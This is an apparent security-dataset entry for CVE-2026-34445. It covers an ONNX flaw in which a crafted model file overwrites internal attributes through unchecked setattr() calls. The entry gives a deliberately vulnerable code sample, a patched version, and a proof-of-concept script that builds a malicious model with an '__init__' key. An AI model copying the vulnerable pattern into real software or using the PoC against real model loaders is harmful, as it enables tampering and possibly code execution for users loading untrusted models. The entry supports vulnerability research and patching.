CVE-2026-34445
ONNX allows arbitrary attribute overwrite via a malicious model file.
- CVSS 8.6
- CWE-20
- Input Validation and Sanitization
- Local
Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, the ExternalDataInfo class in ONNX was using Python’s setattr() function to load metadata (like file paths or data lengths) directly from an ONNX model file. It didn’t check if the "keys" in the file were valid. Due to this, an attacker could craft a malicious model that overwrites internal object properties. This issue has been patched in version 1.21.0.
- CWE
- CWE-20
- CVSS base score
- 8.6
- Published
- 2026-04-01
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Open Neural
- Fixed by upgrading
- Yes
Solution
Upgrade ONNX to version 1.21.0 or later.
Vulnerable code sample
from typing import Any, Dict
class VulnerableExternalDataInfo:
"""
This class is a representation of the vulnerable component in ONNX before the fix.
It simulates how metadata was loaded from a model file.
"""
# These are the intended, safe attributes for the class.
location: str = ""
offset: int = 0
length: int = 0
checksum: str = ""
basepath: str = ""
def __init__(self, properties_from_model: Dict[str, Any]) -> None:
"""
Initializes the object by loading properties from a dictionary,
which simulates reading metadata from an ONNX model file.
"""
self._load_from_properties(properties_from_model)
def _load_from_properties(self, props: Dict[str, Any]) -> None:
"""
This is the vulnerable method. It directly uses setattr() to set
attributes on the instance based on keys from an external source (props).
It performs no validation to check if the keys are expected attributes,
allowing an attacker to craft a dictionary that overwrites internal
or unexpected attributes.
"""
for key, value in props.items():
setattr(self, key, value)Patched code sample
import os
from typing import Dict, Optional, TYPE_CHECKING
if TYPE_CHECKING:
from onnx.onnx_pb import TensorProto # type: ignore
class ExternalDataInfo:
"""
A class to hold information about an external data tensor.
It is a pure data class and does not have any methods.
It is initialized from a TensorProto.ExternalData protocol buffer message.
The class has the same fields as the protocol buffer message.
The main purpose of this class is to make it easier to work with external data
by providing a more Pythonic interface.
"""
__slots__ = [
"location",
"offset",
"length",
"checksum",
"basepath",
]
def __init__(self, external_data: "TensorProto.ExternalData") -> None:
self.location: Optional[str] = None
self.offset: Optional[int] = None
self.length: Optional[int] = None
self.checksum: Optional[str] = None
self.basepath: Optional[str] = None
for entry in external_data:
# The use of __slots__ above restricts the attributes that can be set on this class.
# This prevents a malicious ONNX model from overwriting internal object properties
# by adding unexpected keys to the external_data field.
setattr(self, entry.key, entry.value)
def to_dict(self) -> Dict[str, Optional[str | int]]:
return {
"location": self.location,
"offset": self.offset,
"length": self.length,
"checksum": self.checksum,
"basepath": self.basepath,
}
def get_absolute_path(self) -> str:
if self.basepath and os.path.isabs(self.basepath):
base_path = self.basepath
else:
# If basepath is not absolute, it is relative to the directory of the model.
# We don't have the model path here, so we assume the current working directory.
# This is a fallback and might not be correct in all cases.
base_path = os.getcwd()
if self.basepath:
base_path = os.path.join(base_path, self.basepath)
if not self.location:
raise ValueError("location is not set")
return os.path.join(base_path, self.location)Payload
import onnx
from onnx import helper, TensorProto
# This payload crafts an ONNX model with a tensor whose data is marked as "external".
# The metadata for this external data includes a malicious key-value pair.
# The key is '__init__', a special Python method.
# The value is a string that suggests command execution.
# When a vulnerable ONNX version loads this model, it will use setattr()
# to set the '__init__' attribute on an internal ExternalDataInfo object
# to the provided string value. This overwrites the object's initializer method,
# demonstrating the arbitrary attribute write vulnerability, which typically
# leads to a crash or further exploitation.
malicious_entry = helper.make_string_string_entry("__init__", "malicious_payload")
payload_tensor = helper.make_tensor(
name="payload",
data_type=TensorProto.FLOAT,
dims=(1,),
vals=[1.0],
)
payload_tensor.data_location = TensorProto.EXTERNAL
del payload_tensor.raw_data # Clear the raw data as it's external
payload_tensor.external_data.extend([
helper.make_string_string_entry("location", "dummy_location"),
helper.make_string_string_entry("length", "128"),
malicious_entry, # The malicious key to overwrite an internal attribute
])
# Create a graph and model containing the malicious tensor
node_def = helper.make_node('Identity', ['payload'], ['output'])
graph_def = helper.make_graph(
[node_def],
'malicious-graph',
[],
[helper.make_tensor_value_info('output', TensorProto.FLOAT, (1,))],
initializer=[payload_tensor],
)
model_def = helper.make_model(graph_def, producer_name='CVE-2026-34445-PoC')
# Save the malicious model to a file
with open("malicious-model.onnx", "wb") as f:
f.write(model_def.SerializeToString())
Cite this entry
@misc{vaitp:cve202634445,
title = {{ONNX allows arbitrary attribute overwrite via a malicious model file.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34445},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34445/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
